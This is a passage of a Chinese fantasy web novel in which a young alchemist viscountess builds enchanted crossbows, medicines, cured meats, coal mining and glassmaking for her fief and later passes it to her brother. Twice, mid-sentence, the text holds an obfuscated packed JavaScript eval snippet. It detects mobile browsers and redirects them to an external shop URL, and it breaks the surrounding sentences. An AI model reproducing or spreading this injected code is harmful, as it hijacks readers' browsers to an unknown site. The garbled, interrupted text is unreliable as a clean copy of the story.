“我本来想弄一种,比长弓容易操作的弓,但一时碰到瓶颈。”因为她很快就做出来了,也很快就放弃了将之作为毕业成果:附魔后的臂弩很好用,小巧,准头和射程都能达到普通长弓的水准,但对臂力和技巧的要求低得多,柔弱的法师可用!缺点是换箭支的时间比长弓多得多。但大型弩,那种可以大量穿透盔甲的箭雨,她,一年根本做不出来!光是各种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143793|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 材料和图纸的实现就够她试错试个大半年,加上如何附魔,三四年算很快了。 “也好,你的方向还是有不少可以借鉴的思路。”克鲁格教授没有多问“弓”的事,事实上他自己的“业务范围”也包括弓箭,尤其是魔力箭支是他的成名作品,在战场上起码射杀了十名以上的敌人将领。他压根没想到自己学生打算搞出来“铺天盖地”的大型弩。 苏茜就是想批量制作普通的内服外伤治疗药丸,解决失血体虚和促进骨肉皮肤愈合,以可以人工种植的草药为主——这方面有不下三十种选择,最要紧的还是得成本低、成品便宜,这样普通士兵才能更好地投入战斗。 想法是好的,最后成品的偏向却有些歪。 这里无法炼丹,没有真空密封,工人和制作还不怎么讲卫生……好容易弄出来的蜜制药丸保存期低于三个月!外用药粉只要不直接放在潮湿环境里,目测能保质大半年,比药丸时间久多了。不过鉴于这是学生毕业成果,之一,苏茜还是用了奥术药剂的手法,让装在普通软木塞玻璃瓶里的外用药粉存放时间更长,疗伤效果更好,价格只有“正常”药剂的五分之一。便宜的原因是她可以将大部分工序交给普通人来完成,省了大部分的法师制作费。 另一半的毕业成果是制式附魔弩。 …… “尤瑟科!尤瑟科!” “邓森!邓森!” 高年级演武场上,上百号人正在围观一场毕业前的“小测试”。 邓森,现任奇卡拉公爵的三子。尤瑟科,皇族旁支。两人同届,实力不相上下,“切磋”的结果输赢难料,同学中的拥护者几乎对半分。说实话,邓森的武技超过尤瑟科,但尤瑟科更擅长与奥术相结合,只要手里有高级奥术武.器,那也能跟中级大剑师力拼的。 本来大剑师分院的小比武测试与苏茜无关,可问题是这帮人涌来的时候她正要测试自己的新武.器。 “嘿,苏茜学妹,要不要转系?” “不转。”苏茜阴恻恻地晃着手里样式过于“朴素”的大剑,带起一阵阵轻微的奥术波动。“我做武.器给你们上战场厮杀。当然,至少大剑师才有可能得到我亲自做的武.器。砍人很带劲的哦!” “校内切磋禁止使用奥术武.器。”裁判尽责地补一句。 苏茜扯出一个笑容,扭头一剑砍下靶子假人的脑袋。 “……” “……” 大家看看木头假人整齐的切口,再看看笑得人发寒的苏茜-金,突然觉得两位高材生的切磋好像都不香了。 苏茜去付靶子假人的钱,然后走人。 留下学生们对武.器和效果议论纷纷。 “我觉得她没有用力。” “金系和风系。” “但她挥剑的速度确实非常快。” “疯子苏茜的名头又不是假的,她打起来很疯。”有一次跟邓森拼得双方都受伤。 “炼金师啊!” “……就是买不到。” 好想要那样的大剑!就是不敢说出口,怕被人笑话死。开玩笑,这种好东西拉了一车金币也不一定能排到队,全部被将军们抢走了。 “为什么我觉得这位学姐很有钱的样子?”有人小声嘀咕。 “不是说她是富商的女儿?金币当铜币。”旁边的人答道。 “开玩笑,邓森对她非常有礼貌,礼貌过头了,说明来头很不一般。” “反正与我无关,我又不想去追求她。”最重要的是打不过。 “……也是。”同打不过。 被抢去一些风头的尤瑟科和邓森一点没有其他念头,这位新晋领地女子爵即使有父母支持付清了欠账,之后的税赋也足以让一个二十岁出头的毕业生焦头烂额、不管男女,没有一个庞大家族的支持,一个人会很困难。最要命的是,没有一位贵族子弟或是有背景的男子想与这样喜欢武.器的女人结婚,而一心想靠婚姻往上爬的穷小子连靠近女子爵的机会都不可能有——接近了也会被打残吧! 苏茜不会管同学如何议论,自己太忙了。她住的那层楼里的女生都与她仅仅维持点头之交,一方面她真的没空社交,另一方面不是大剑师分院的“文弱”女生真心不怎么爱跟打打杀杀的同性关系紧密,就怕影响自己未来的行情。大部分的职业者都会结婚生子,这是人类本能和社会习俗,跟必须掩饰自家小岛的苏茜完全不一样。女职业者能有更大的自由选择权已经算是社会进步了。 * * * “是,普通士兵练习三天就可以使用。这样一百名骑士学校的二三年学员可以抵得上五把使用奥术长弓。” “……你领地上的骑士学校有多少学员?”分院院长也是主考官忍不住问了句。 “目前是一百二十名。” “……难怪!” 毕业成果“答辩”仍然不允许旁听,所以考官们就不会保密她的身份。 他们眼里,外伤外用药粉是添头,这种“弩弓”才是重点。 等磕磕碰碰按年限拿到毕业证书后,苏茜还没来得及收拾行李,又要跟军事副大臣谈判。 “不得不说,苏茜,你提的条件挺公平。”实诚得有违那对夫妇子女的名头。 “阁下,我只是不喜欢讨价还价,浪费时间。”从另一方面来解读,就是别跟她还价、不然会挨揍的意思。 “明白了,我同意。”哈肯从她的眼里读到了威胁。这家伙不参加武技的等级考核,但同校同学就没几个能赢下她,因此估计实力在初初级大剑师,加上有个比试疯子的称号,打起来自己不会太好看,更别说她背后的四名长辈兄姐都不是好相与的货。 “签约,我明天退掉宿舍就回去领地干活了。我要安排建设工坊,还有一个缺人口的牧场需要打理。”这一点倒是简单,去掉所有正式税收之外的负担、奖励生育,二十年后就能解决问题。 “……好。”幸好他让助手带了一式三份文件,填上几个空格就行! 副大臣的助手目瞪口呆地看着这两位寒暄、谈判、签约,加上“礼貌”道别,挂表表盘前进一个刻度就搞定!要是每个领地贵族都这么爽快,副大臣的职位都不保啊! 苏茜在第二天与西西丽亚共进早餐后就离开国都,回琼氏领地。 子爵府与苏拉尔女大公的庄园骑快马得一天一夜,距离国都更远,倒是跟父亲的军团驻地稍微近些,马车一个月,快马十三四天。 所以纳瑟斯带人来了第二回。 为了新兵可用的新型弩弓。 47.神陨的时代(五) 三年内能搞出来量产的机械版弩弓已经是苏茜拼命做出来的成绩。期间她要不是全靠自己手作“作品”抵消领地税赋贡献,早就破产了。从“觉醒”到现在的十年时间,没有休息过一天!累死了…… 但在哥哥和双方下属面前,苏茜收起疲惫,一身法师装束、态度严谨温和。 “我这里开放参观,因为每个工人只做其中一两道工序,学徒做简单工序,熟练老匠人做需要精准控制的小部件,由我制作奥术部件,也是我来最后组装和修改。”与工业制品不同的是,组装其实是这款奥术弩弓最具专有技术的部分,也是最昂贵的工序:魔力宝石与她的知识、经验、劳动。 苏茜将自己解决不了的少量弩弓机械部件用炼金法师的方式解决,既保住了面子,又能交换到高价。 她带着人到超大的练习场,亲自指导纳瑟斯带来的三十几名属下操作六架一人高的重型弩,然后清空三百卡林的半圆形场地。 “对,看好瞄准扣,右手按下——按!” 六架弩几乎同时发动,一次性清空箭匣中的五十支三棱长尾箭支,三百支箭在十几个呼吸内呼啸而去,将对面三排几十个靶子假人身上的铁甲戳出无数个洞。当然这里用的是试验甲、就是相同厚度的铁皮钉在木头假人上。 “……”纳瑟斯和手下冲过去,只看普通铁头箭支的杀伤力就非常满意了。 “要不要试试单人弩配合附魔箭的威力?” “要!” 还是在练习场,但清空更远距离,还放上三个重型锁链甲骑兵假人,由苏茜亲自演示。 三箭,五百卡林外的三个假人马全成了火球。这玩意比狙.击木仓贵无数倍,但不是神木仓手的人能百发百中六百米外的静态目标本身就特别值钱不是吗?!其实这里最值钱的就是辅助瞄准魔纹。 另一头跑过去看情况的纳瑟斯兴奋地冲回来。 “这个小弩的应用场景不是很明确,我也不知道这箭对付移动的目标如何,也不知道大剑师和高级法师级别的人能否对付。这些都要你自己琢磨。”苏茜抢先开口。 “知道!但是啊,妹妹,这些不能卖,明白吧?” “当然明白!小弩卖不出高价、容易搞暗杀,大弩只适用于战场、还不能泄露,不如只做贡品和礼物,礼物只给你们几个,其他人都去跟小拉格坦斯谈。” “聪明!”纳瑟斯微微笑。 他不急着走,而是十几天后,一支二百人的骑兵队带着大型马车前来接应时才走。 期间苏茜一直在工坊工作,直到他走时才带着一身复杂的气味匆匆跑出来送行。 “你在弄什么?”似乎是食物的味道? “在试验生腌肉酱料,减少活牲畜赶路的麻烦、延长保存时间。” “哦,确实。经常有半途死亡的,还有带来疾病的牲畜,甚至牲畜的病接收时看不出来,几天后才发作,搞得损失不小。”但是活的也有活的好处啊!就是新鲜。 “猪只更难运过来活的,所以我做成腌肉、熏肉和火腿。” “火腿好吃!” “做起来很麻烦。”得六个月左右。 “知道啊,不过确实挺好吃的。” “行了行了。我把能给你的都给你。”苏茜也知道军营里的伙食也就那样,不然这家伙和带来的那些小伙子们不可能在她地盘上吃得那么拼命,而且现在各个似乎都胖了一小圈! 亲自从厨房和食材地窖里挑选了五车能存放一段时间的食物,其中整整半车都是奶酪果干坚果面包——这些人每天早饭都要吃——以及一小箱子食谱。 对,食谱用箱子装。 身为领地子爵,她的领地平原农田不多,但有大量的牧场和山林,哪怕被前任祸害得掉三成财富,总还剩了几万头大小牲畜和三千多人口,这几年奖励生育多了几百幼童,供应两百多人吃几天的蛋白质总是没问题的。 领地的景致还不错,草地、树林、丘陵、湖泊,就是别指望旅游餐饮服务业,因为这里没有便捷的交通,更不存在一个喜欢旅游的中等阶层。苏茜骑马巡视了一圈,与属下和农牧民代表商量牧草树苗的播种问题,以及几个定居点的翻修扩建。 这样跑一圈,去年的领地收入就没了。 收入低、支出高,这日子没法过了!苏茜简直想将领地交还给皇室,可惜不能这样干。不过在她路过一户当地农民的时候,发现他们家用来烧火的,是,煤? “你们的煤是哪里的?” “煤?” “就是你用来烧的东西。” “哦,大人,就在山脚下,有不少。因为这种黑色小石头能点燃,所以我们这一带都是捡来烧的。” 她平时都是用木炭烧火的,壁炉也是木头——加上军需物资要用到,所以才积极种硬木类树苗——根本没注意过“民间”使用煤的情况。 其实国都那边也有烧煤的,但总体上并未受重视。 苏茜不懂煤矿,但看得出煤的质量不错,可能硫化物和灰质偏少,所以烧的煤块没有异味。这种原煤已经可以直接烧,那么品质应该是不错的,只是没有好好处理、效率不高。 第三天,苏茜找齐人手,带上工具,再次去那块发现了煤的地方。地面上的煤块不多,现场烧水很快、说明原煤的质量可能很好。于是开始往下挖。这时苏茜那点可怜的土系奥术终于派上了一点用场,从浅表土层的不同反应,勉强判断出煤矿的走向是往山里而去。 记得焦煤要砸碎清洗后,造土高炉还是窑,像烧瓷器一样煅烧成焦煤用于高温冶金;煤球则是筛选清洗后加粘土成型。 但无论如何,这些煤可以烧火,这就是省钱的法子。领地上的居民可以免费用煤快烧火,但如果不注意通风而造成死亡,后果自负。 “烧这种石炭省钱,温度高,可危险性更大。”苏茜很快下了判断,然后开始在工坊和实验室里试验。 同时,她得问问自己能否开采煤。 【亲爱的妹妹,除了贵金属和魔力矿产,其他的领主可自行开采。另外,我问过几位高级土系法师,他们也不知道你说的这种石炭的具体‘精炼’方法和用途,不过我建议你有空时可以做些研究。】西西丽亚回信里如此写道。 苏茜闭上眼,还是得她自己来!还是没法将这个沉重的负担扔出去! 行吧,就当是为几千子民寻找更好的生活,她要好好当个,呃,镇长? “……要建,按照一个漂亮、整齐的镇子来建设,建筑物要时间久,那么砖石最合适……只是需要放慢速度,你知道账上有多少钱。所以别担心孙子没有工作可做。”苏茜拍拍裴第管家的肩膀。 “将庄园转为镇子?” “迟早的事。与其拥有领地,还不如拥有镇上的商业街区。而且有工坊、有商业,有工作、有收入,哪怕只是居民互通有无也能提升一些生活品质,省得什么都要从外面买,目标暂定尽可能自给自足吧!说实话,光是蜡烛的支出就很夸张。”母亲能保住领地,长姐不用担心税赋负担,都是因为公爵领地上有大量农田和三个工商镇子。 “是的,很多地方都改为使用自产灯油的油灯了。”消减开支其实也不复杂,早年前任子爵就不住这里,更不给多少钱,子爵庄园荒废了一半,只剩下主宅能用。到现在也没有恢复到二十年前的境况,所以除了几位老仆,其他人都已经习惯了。即便如此“节省”,裴第管家仍然为新主人的抠门与慷慨并存的风格所震撼。“大人,昨天有商行送来珠宝目录,还是拒绝吗?” “我不需要魔力宝石以外的宝石。”苏茜摆摆手,“而且只要我高兴,可以天天制作更换不同的首饰,一年都不重样。但那太浪费时间了。” “……”贵族女性不是对珠宝无法抗拒吗?怎么他家女子爵如此清新脱俗。 一路从新工坊的建筑工地步行回宅子,管家去准备晚餐——按主人的食谱——苏茜则准备开始新一轮的武.器制造工作。去年的“新型”骑兵长刀和今年的大型弩,让堂堂军事副大臣跑来子爵家两回。估计为了小弩和附魔短箭,他都等不到明年可能再次跑来! 顺便再推销下火腿肉。 切下的肉片重新腌制了半个月,然后再与多种蔬菜和新鲜肉类一起炖煮。苏茜试吃了一份,又减了一种调味料,就此定下一道新菜。 现在她的厨房有四名厨师、四名助手,加上食品工坊的十四名制作者,有超过二十人可以一起动手丰富吃食,口味从极重到清淡,酸甜辣咸应有尽有。被招待的客人最多挑剔食物品种太少、太便宜,但没一个嫌不好吃的,因为总有一道他们喜欢吃的菜,尤其是主食和点心始终能将客人吃撑,酒类大多消耗在烹饪而非饮用。 法师没有不能饮酒的禁忌,但有心前途的法师绝不会酗酒。 “这种饮品很不错。”拉格坦斯忍不住又喝了一口。 “这是加了牛奶和少许糖的茶水,”俗称奶茶,她现在就可以玩出种十几种口感。“您喜欢甜味还是咸味的?” “甜味的。”砸吧砸吧味道,再来一口。杯子都见底了。 苏茜示意又送上一小杯蜂蜜奶茶。“您可以试试这个口味。” 拉格坦斯浅尝一口温度正好的淡褐色饮品,然后一饮而尽,坐在那里差点直喘气。他的胃里塞满了肉类、浸酒水果蛋糕和奶茶,撑得都站不起来。“真是难得,我一口酒都没有喝。” “过多酒类对职业者不是好事。” “我知道,可是每天为了军备和后勤奔波,自己可以感到在退步……我现在应该不是你的对手了。” “我们可以明天切磋一下。” “努力打赢我,这样我就可以逼着自己恢复训练。” “行!”不用努力都能赢!苏茜平时在现实里冥想和训练,在岛上借助稀薄的灵气修炼和练武,两种路子居然并不互相排斥!同时战力的提升缓慢而坚定,目前的自己如果配合自制武.器,有中级大剑师实力了。 第二天一早,两个人很快就打完,副大臣拉格坦斯完败,生无可恋地去吃早饭。美味的早餐并没有拯救他的自尊。 “苏茜,我宣布你已经是初级大剑师了。”他将明年领地贡献的收据亲自交到苏茜手上,然后指挥搬运人手和回国都的安排。 “可能略差些。我的马战并不好。”马上射箭准头很差。“不过如果用我自己做的武器,那就难说了。” “又不需要你冲在骑兵方阵前面。大家有你制作的弩就能赢。” “记得啊!我只给了我的父亲和哥哥,还有你。漏出去你负责哦!” “知道!”这样的炼金师领主只要能再多一个,一个!他都能缓过来。 苏茜见这位明明还不到“中老年”却接近油尽灯枯的鬼样子,猜测可能要有战事。 送完客人和物资,苏茜躺了一天,才爬起来继续跟食品工坊死磕。 “养猪牛羊马的,种地的,伐木的,采矿的……只能获取最低的报酬。最初级的永远赚不到多少钱。做出来这道菜可以卖一个银币一份,但养猪人养大一只猪也只能净赚这点。”搭配青油果酱的火腿片煎蛋,装在大盘子里,卖相和口感都不错。 “可是,不这样分配金钱,开作坊就无法挣钱。”因为要建设好几个新工坊,未来起码十好几个,裴第管家已经累得快吐血了,不得不建议子爵聘请几位新的管理者,尤其是未来的镇长,其中就包括他的堂弟、在城里开了间织布工坊的另一个裴第。 “我知道,所以现在中低级甚至高级产品我们自己做,工人也在本地,这样最大程度将利润保留在本地,而不是以极端便宜的价格卖给商队,然后再以高昂的价格从商队那里买来成品。当然我们先从自产原料的开始。比如奶酪和武.器……你看过武.器作坊的,普通工人每人负责一道普通工序,匠人来做复杂的工序,这样能解决熟手工匠不足的问题,而且有利于保密。”因为最终是在自己手里成型。 小裴第眼睛一亮,他觉得自己找到了重点。“我们是不是将不同工序打乱分开在不同的地方做?” “无所谓,因为最终一件件都是送到我这里。”她做的东西,不破坏拆不开,而破坏了就会使得关键部件也损坏,大大增加反向复原的难度。现在没有专利保护,她只能自己来,当然也能更好地跟军部讲价——工匠做的和她这个领主法师亲手做的,价值完全不同。 “我明白您的意思了。”得赚钱吃穿用度,顺便在短期内保护手头的技术,先将领地的税赋负担解决,然后再扩大财富。 …… 面试通过后,苏茜让管家送他的堂弟出去,在管家书写的例行礼节性拒绝回信上签名后用个人印章封口。她没空参加什么宴会聚会茶会什么的,尤其是地点都是在半天路程之外,当然更不可能在自家浪费钱办活动。除了父母兄姐,没人能让她放下无边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148378|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无际的工作。 冬季的牧场只有些结霜,动物们仍然能找到吃食。苏茜组织了一次大规模捕鼠捕兔活动,还身先士卒干掉一百多只祸害土地的田鼠,并且坚持用奥术将老鼠们烧了,一点残渣灰烬回归土地。至于兔子则是分给农牧民,剥皮吃肉养殖都随意。 “大人,邓森-奇卡拉男爵来访。” “男爵啊?好的。”苏茜摘了满是污渍的棉手套,换上骑士手套,快马回驰。这家伙出息了,毕业后居然成了男爵,这不是职业者的待遇,所以很可能跟她一样是运作来的领地贵族。呵呵,男爵,说明地盘比她小,负担比她轻。 不多时,回到府邸,换上法袍和杂色家居毛皮斗篷——她没有常礼服裙子——去会客室。 “嘿,邓森。好久不见。” “苏茜!呃,握手还是拥抱?”炼金法师兼大剑师的手,是能随便握的吗? “坐下。喝茶。” “好的。” “说吧,大忙人,不提前送信突然跑来肯定有事。” “明明你才是大忙人!” 两人斗了一会嘴,回到正题。果然是为了税赋贡献的事。 “我听说拉格坦斯跑来你这里三趟了?!” “我的新作品,不外泄。只给我家里那四位,以及拉格坦斯,他怎么分配我不管。” “那我可以定制奥术武.器吗?我用小牛和小马来换。”他可是认真打听过这位老同学需要什么的。 “还要小奶牛。”马有得是。还有,她不是很喜欢羊乳酪的味道,更喜欢牛奶和牛乳酪。 “可以。明年二月你先来挑,记得保密,不然那位拉格坦斯肯定跑来用两年后的收据把东西都抢走。” “两年后?” “对啊,我明年的税金和贡献的收据已经拿到手了。不然哪来时间养小牛。”没有更多的牲畜,人口的流失就会继续。这个地方,人均十头以下的牲畜就可能有生存危机,更别说来点什么疾病的话,文盲农牧民别说倾家荡产,连命都可能没了。要不是工坊招了不少子女多的以及寡妇家庭的孩子来干活,子民的生活更差,自然逃亡找活路的人也会更多。想到前任子爵曾经拿几万头大牲畜和所有积蓄换钱给自己买兽人后裔续命,她就想杀人。对了,非法买卖的几个商人都被她揪出来,然后被大法官法院判处徒刑加没收财产,理由是诈骗——一堆医师和法师证明,这种治疗方法在神陨时代完全没用,活生生的例子就在那。 “还能这样?!”有提前交税的吗?有这样的人吗?! “对,可以谈。比如用什么样的肉制品能取代多少倍的活牲畜。不过肉制品都是能存放的品种,或是密封的罐子包装。如果你的领地还有别的出产,或是哪一年骑士数量多,那么可以谈。” “……我就是用一百名义务骑士换的爵位,不过我的负担可比你轻松多了,只需要地税,不需要贡献。”邓森撇嘴,要不是现在的皇室是军事起家,早就被利益严重受损的贵族们打翻了。 “你父母还是很为你着想的。如果没有父亲和母亲支持,我也不可能弄到世袭领地子爵,只不过我做不动之后,可能让我哥哥的孩子来接手。”而不是姐姐的孩子,就是因为军需贡献的问题。 “……你想得真是长远!”邓森惊愕了一瞬才回过味。 “没办法,以后领地贵族肯定越来越少。毕竟贵族拥有领地和领地上的人口,对领地各类事务有绝对的权力,这是对王权的分权。” “……”邓森连话都不想说了。意思就是为了领地贵族的爵位搞来那么多的负担简直是傻蛋,可她自己是傻啊还是傻啊?谁傻,说啊! “别看我,现在我还做得动的时候多做。将来的事情将来再说,搞不好我要亲自上战场呢。”就是军部不会这样干。 邓森直接翻了个白眼。高级大剑士跑去战场找死和炼金法师在后方做强大的武.器,白痴都知道选哪种。“好了,我明天再走。所以,晚上吃什么?” “四菜一汤。” “……?” 真的就是四道菜包括前菜,有荤有素有汤,不含甜点和主食。 寒酸但是好吃。 最奇怪的是汤,明明看上去什么都没有的金黄色浓稠汤汁,但吃起来却好像什么都有了。 “别以为数量少就简单。光是这道汤,用了五种肉类、四种素菜和两种不同的奶油,”其中还有她“私人藏品”的海鲜干货,“但最后这些料全部过滤掉,只有两碗汤。炖肉的调味香料至少有八种,包括两种好酒,从我们吃完午饭后就开始做,炖整整一个下午,所以最后吃的时候只觉得好吃。” “好酒,炖肉?”好酒不是用来喝的吗? “对,比我们平时喝的还要好的酒,这样才能做出更好的食物。还有,你知道的,我不喝酒。” “……”平时只关心酒,不关心塞到嘴里是什么肉的邓森沉默了。可,不好意思,他还是觉得这位老同学的“晚宴”太寒酸怎么办?会不会被打? 于是第二天他就被打了。 从武.器到拳头的切磋,他都被打得挺惨。“你……一直在练啊?!”这是大剑师水准了吧! “当然!谁也不知道明天会碰到什么事情,我怎么敢放松。”事实上前几天她就碰到一伙子窃贼,居然偷到她家来了,以为都是大剑士级别就能为所欲为了吗?那十几个人一个没跑掉,全埋入地下。她虽然没有母亲的强大实力,但那点土系奥术将尸.体直接“深埋”还是办得到的。 送走悻悻的邓森,苏茜直接“闭关”一个月,为母亲领地上的义务兵骑士们制作附魔武.器。因为用的魔力宝石是母亲提供的,所以她免费出劳力,然后扣下一颗宝石算是报酬——其实这就是贱卖劳动力,她老师的对外报酬是每件一颗宝石,她则是二十件一颗,差了二十倍啊! 结束后,又是为父亲的亲卫准备。 休息几天,小牛到了,要接收和安排养殖。另外解决一下农田的灌溉,以及一些农民间纠纷。 接着就又是新一轮的弩弓箭制作,一眨眼,夏秋季都过去,又到了不算太冷的冬天。坐在改进过的起居室暖炉边,苏茜终于有空坐下来喝壶花草茶,顺便看看,不是,透过透气孔看两眼不大的窗户外的冬季萧瑟景致……顿时没了闲心! 要不要做窗玻璃呢?对了,那玩意怎么做来着! 沙子、草木灰、石灰,倒进木板模具吗? 48.神陨的时代(六) 边境战事结束得很快。苏茜这里才刚找到沙子、石灰、炉子原料,还在试验如何搞焦炭,就收到打胜的消息,或者说是己方自称的胜利。 这次不是金将军驻守的地方打,所以他的部署损失不大。打得最激烈的两个小城因为逃亡和食物短缺的原因大量减员,军队伤亡也不低,骑士级的就阵亡和残疾近千人,算是十年内最惨烈。 苏茜付了两笔阵亡抚恤金,两名没了胳膊或腿的义务兵则在庄园主宅里负责护卫队训练,军饷加了一半就是为了招人照顾生活。其他战士有要回来的,还有要留在驻地的,苏茜又去骑士学校挑了一拨。 鉴于她在金币、武.器、土地、住房、家属照顾等方面的慷慨大方,以及有两名义务兵正式成为军中小军官走上另一条人生路,报名的平民子弟很踊跃,还有一名旧贵族后裔也加入——还通过了她的考核,会成为下一批义务兵。 这个骑士学校的生源并不止是领地农牧民,还有周边地区平民,甚至还有逃亡一年以上、领主不得追回的其他领地子民。所以她算是不愁兵源的领地贵族。 苏茜忙活了四个月,终于将新一轮税赋贡献搞定,新型弩也送去了该去的地方。结果她就得到消息:哥哥纳瑟斯被人偷袭重伤! 母亲和长姐都赶去了,叫她坐镇后方公爵领的事务。 公爵领是比子爵领大且复杂,却并未超出太多,只是需要更多的时间精力和耐心。管理领地对苏茜而言并不麻烦,累人的是她仍然继续制作更多奥术武.器。 因为她哥受袭是之前战争的后续,或是说新战争的前奏。这接二连三的事情,以及哥哥至今没有完全恢复的消息让苏茜有些暴躁,直接将一名想烧毁粮仓阻止儿子从军的贵族后裔女子绞死,为之求情的新提上来的副管家,与那位惧怕战争的儿子一起扔去她的领地挖煤。 然后新的一批义务兵们全部提高军饷待遇和抚恤金扶养费。 自此以后,公爵领的人再也不敢闹什么幺蛾子,就怕被这位心情不好的女子爵给拖走挖一种黑石炭。 军部现在是用金币和魔力宝石与苏茜结账的,所以她底气十足,尽管她的作品实际上是贱卖了——想到十年内都不需要再交税赋和贡献,她给安家费和抚恤的时候就更为大方,所有重伤残疾的士兵也都有加一半的薪水。 另外,两块领地出去的义务兵都能得到她附魔的武.器和伤药药丸,用尽或用完能领新的。搞得连苏拉尔女大公都以为次女对继承有什么想法。 “想法?!”苏茜吓死了,“我对现在的领地都觉得负担很重!如果纳瑟斯同意我现在就让领地由他继承!还附送十年免税!” “……他大概也不想要。”长眼睛的都看得出来苏茜多年付出全部是为了子民,自己别说珠宝,连衣服都没添几件——这倒不是苏茜节俭,而是她宁愿“收藏”黄金宝石甚至黄铜,也不乐意收藏风格特征鲜明、价格比裸石高无数倍的首饰;至于所谓的华服,每个都在她的审美盲点上,纯属浪费钱。奇怪的是这里的银因为出产少而相当昂贵且不受欢迎,小说里的秘银什么的压根没这玩意,连奥术都在慢慢衰落,法师级别越来越低、人数越来越少,几百年后肯定会让位给工业化。 女大公在知道了次女完全无意公爵领,纯属为了快速解决问题而大发雌威的真相后,回了国都,任职内政副大臣,但是西西丽亚和仍然需要复健的纳瑟斯回领地了。 “长姐,快点快点!”苏茜乐呵呵地捧来“改良”过的账册,赶紧移交。她领地上的煤矿需要去定安全生产,还有武.器、玻璃、焦煤一堆事情。“对了,纳瑟斯,你要在哪里养伤?这里繁华、医生多;我那里清静,吃得好,就是只有镇上的两个医生,得从这里聘请。当然如果你乐意接手最好,我就不需要去搞煤矿安全和农牧事业了,对了,我正在试验一种新窗户材料,做成了你也一起接手。” “……” “……” 一兄一姐盯着她看。 “怎么了?我也跟母亲说过,如果纳瑟斯接手,直接免十年税赋贡献,因为我已经都交了。” “你这样就不是领地女子爵了。” “我制造武.器难道不能弄到个非世袭爵位?不给我男爵爵位,我就立刻拍卖所有作品。”不给头衔她就立刻只将作品送家人和卖给出价最高的富豪! “?” “!” 西西丽亚和纳瑟斯继续无语。 “好了,纳瑟斯,你搞清楚权利义务就行,我不想骗人,那块领地面积广大、出产不多,负担不轻,虽然我可以帮忙一部分,但你必须找其他生财、增加人口的路子,不然到你孩子那一代就保不住了。” “……苏茜,你这是甩锅?” “你要成为世袭领地子爵吗?确切地说,你要结婚吗?” 要。纳瑟斯嘴里发苦。有个姑娘等了他快十年了,可一个领地的负担真心不轻。即使妹妹有规划,但就看规划和严厉的支出控制——控制领主支出——才能做到。也因此,那姑娘如果嫁给他,会生活水平下降,子女的待遇远低于他小时候。 可如果不接受妹妹的“转让”,无法再去战场建立真正军功的他在长姐继承后就是个平民。至于与长姐竞争爵位?他还没有活腻!受伤前他不是长姐对手,受伤后更是做梦。 “好好想想。不过,我说实话,以后领地贵族会成立历史,经营工商业发达的城镇才是出路,当然这是在和平年代下。因此你即使有了孩子,也是要往战士或法师的方向培养,不然就是害人。” “让我想想。”和母亲与父亲商量下。 苏茜也要跟父母商量,因为她真的太累、太暴躁了,很想甩锅又觉得坑哥不太好。 “纳瑟斯一时找不到出路,有些颓废。真的,我知道你的压力太大,不过这对他来说也许是件好事。”西西丽亚抓了妹妹去喝茶,顺便将希望淘气引起哥哥姐姐们注意的莫契亚揍了一顿,然后那小子被苏茜要发明自动打板子机的恶劣玩笑吓跑了。 “我要拿非世袭爵位不难。而且有你和父亲、母亲在,不会有人敢将我当成平民。而且,当我大剑师法师的称号是假的吗!”尤其是一身剑士便服一穿,闲人闪避、熟人躲避。 “你不打算结婚生子?” “辛苦为没有血缘关系的家族死而后已吗?我宁愿去父亲麾下作战,也不想被男人们算计。”在“试验”十几个求婚者的武力值,又宰了一个打算下药搞事情的家伙后,真没人敢来求婚了。对了,她说那个下药的是对军部重要合作伙伴下毒,作为“系出名门”“小有名气”的炼金法师,她说的就是证据……那人的家族想要赔偿还被她雇佣的恶劣辩护律师反告了。此外,国都起码有三位大律师是经过她“点拨”而业务蒸蒸日上,当然卫队、法官和公诉人们受到的“指导”更多,业内和贵族圈、军官层都清楚她跟善良柔弱的女性形象没有丝毫关系。 “那你真的要将领地转给纳瑟斯。” “确定。与其我辛苦撑到死亡,再由他的后代继承,还不如现在就拿走,拿走!”眼不见心不烦。镇子已经有了雏形,接下来起码还要搞五年,她真没有那么高的基建热情。 “好。” 两个月后,行动已经正常、实力尚需长久训练恢复的纳瑟斯带着未婚妻,在裴第管家和裴第镇长的陪同下去了布斯德社-琼子爵领,然后被可怕的玻璃制造和焦煤制作搞得晕头:如果想挣钱,他就得亲自去开拓市场。 实力坑哥还让人说不出坏话的苏茜则是赖在长姐的地盘吃了睡、睡了吃整整三天,才接下拉格坦斯的第二封催促信,慢吞吞收拾工具和行李,慢吞吞自己驾着四匹战马拉的马车去国都。 而且路上居然花了一个月! 西西丽亚表示真不是她的锅,因为妹妹声称要单人历练,拒绝护卫和侍女! 拉格坦斯都不想说什么了。这幅懒洋洋的地痞模样是闹哪般? “我累了十几年。从上学的时候开始到上个月,从来没有休息过一天。一旦放松,骨头都散开了。” “那要不要收收骨头?” “不要。” “伯爵?女伯爵?” “不要,男爵就行了。我也不会天天开宴会买珠宝,魔力宝石也不缺,更不想买大宅子养几百仆人。” 